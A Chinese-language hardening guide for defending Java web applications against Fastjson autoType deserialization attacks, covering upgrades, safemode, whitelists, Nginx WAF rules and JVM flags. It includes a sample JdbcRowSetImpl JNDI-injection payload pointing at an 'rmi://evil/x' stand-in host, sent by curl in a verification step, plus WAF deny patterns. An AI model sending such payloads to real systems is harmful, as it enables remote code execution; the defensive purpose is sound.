适用场景
本文适用于所有在 Java Web 应用中使用 Fastjson 进行 JSON 序列化与反序列化的团队,包括自研接口、第三方 SDK 集成、网关鉴权模块等场景。当应用直接接收客户端传入的 JSON 字符串并调用 JSON.parseObject() / JSON.parse() 解析时,即处于 Fastjson 反序列化漏洞的暴露面内,建议立即按本文步骤加固。
前置条件
- 服务器操作系统:Linux(CentOS 7+ / Ubuntu 20.04+),已安装 Java 8 及以上运行环境
- 已定位应用使用的 Fastjson 版本:执行
find / -name "fastjson*.jar"或检查 Maven 依赖树mvn dependency:tree | grep fastjson - 拥有应用代码库修改权限与 Nginx 反向代理配置权限
原理说明
Fastjson 反序列化漏洞的根源是 autoType 机制。Fastjson 为提升序列化效率,允许在 JSON 字符串中以 @type 字段指定反序列化目标类。攻击者构造 {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evil/x","autoCommit":true} 之类的恶意载荷,Fastjson 在反序列化时会触发目标类的 getter / setter 或特定方法,从而完成 JNDI 注入、RCE(远程代码执行)。自 2017 年爆出 CVE-2017-18349 以来,绕过版本已迭代十余轮,仅靠升级到某个”安全版本”并不保险,必须结合关闭 autoType 与流量层拦截。
操作步骤
步骤一:升级 Fastjson 到安全版本
将依赖升级到 1.2.83+(1.2.x 最终安全版)或 2.0.x 系列,2.x 默认关闭 autoType 且默认开启 safemode。Maven 配置:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
升级后执行全量回归测试,重点验证 JSON 字段顺序与泛型反序列化行为是否受影响。
步骤二:开启 safemode 并关闭 autoType
1.2.68+ 版本支持 safemode,开启后 @type 将完全不被解析:
// 全局开启 safemode(1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);
// 或通过系统属性开启
-Dfastjson.parser.safeMode=true
若业务必须使用 autoType,则改为 白名单模式,仅允许已知业务类:
ParserConfig.getGlobalInstance().addAccept("com.example.entity.User");
ParserConfig.getGlobalInstance().addAccept("com.example.dto.");
步骤三:代码层收敛反序列化入口
- 禁止直接解析前端传入的任意 JSON 字符串,统一使用 DTO 对象接收参数
- 解析时显式指定目标类型:
JSON.parseObject(json, User.class),禁止使用裸JSON.parse(json) - 对
@type字段做入参校验,出现java.lang、com.sun、org.apache等危险前缀直接拒绝
步骤四:Nginx 层 WAF 拦截
在 Nginx 反代配置中加入以下规则,拦截携带 @type 的恶意请求:
# /etc/nginx/conf.d/fastjson-waf.conf
location /api/ {
# 拦截 @type 反序列化特征
if ($request_body ~* "@type" ) { return 403; }
# 拦截 JNDI 注入特征
if ($request_body ~* "JdbcRowSetImpl|JndiDataSourceFactory|rmi://|ldap://") {
return 403;
}
proxy_pass http://backend;
}
# 重新加载配置
nginx -t && nginx -s reload
更稳妥的方式是接入专业 WAF(如百度云防护),其内置的 反序列化规则库 可持续更新绕过载荷。
步骤五:运行环境兜底
即使代码层已加固,仍建议升级 JDK 到 8u191+ 或 11.0.1+,并设置 JVM 参数禁用远程加载:
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
配置验证
# 1. 验证 autoType 已关闭:以下请求应返回 500 或解析失败
curl -X POST http://your-site.com/api/parse -d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evil/x","autoCommit":true}'
# 2. 验证 WAF 拦截:应返回 403
curl -X POST http://your-site.com/api/upload -d '{"name":"t","@type":"java.lang.Runtime"}' -w "%{http_code}
"
# 3. 检查应用日志是否出现 autoType 相关告警
tail -f /var/log/tomcat/catalina.out | grep -i "autoType"
常见问题
Q1:业务代码大量使用 autoType,直接关闭会导致线上故障怎么办?
采用渐进策略:先在测试环境开启 safemode 运行一周,结合日志中 autoType is not support 报错清单,将所有合法类逐一加入 addAccept 白名单,确认无遗漏后再灰度上线。
Q2:升级到 2.x 后 JSON 解析报错或字段丢失?
2.x 对序列化特性做了重构,常见差异包括:@JSONField 的 ordinal 行为、日期格式默认输出变化。建议先在 JSONObject.toJSONString 时显式指定 SerializerFeature.WriteMapNullValue 等特性,并对照线上报文做字段级 diff 测试。
总结
Fastjson 反序列化漏洞防御需要”版本升级 + 关闭 autoType + 白名单 + 流量拦截”四层协同,单一措施均存在被绕过的先例。核心原则是:永远不要信任客户端传入的类名。完成本文全部步骤后,应用对已知与未知反序列化载荷的防御能力将显著提升,配合 WAF 持续更新规则库,即可形成纵深防御闭环。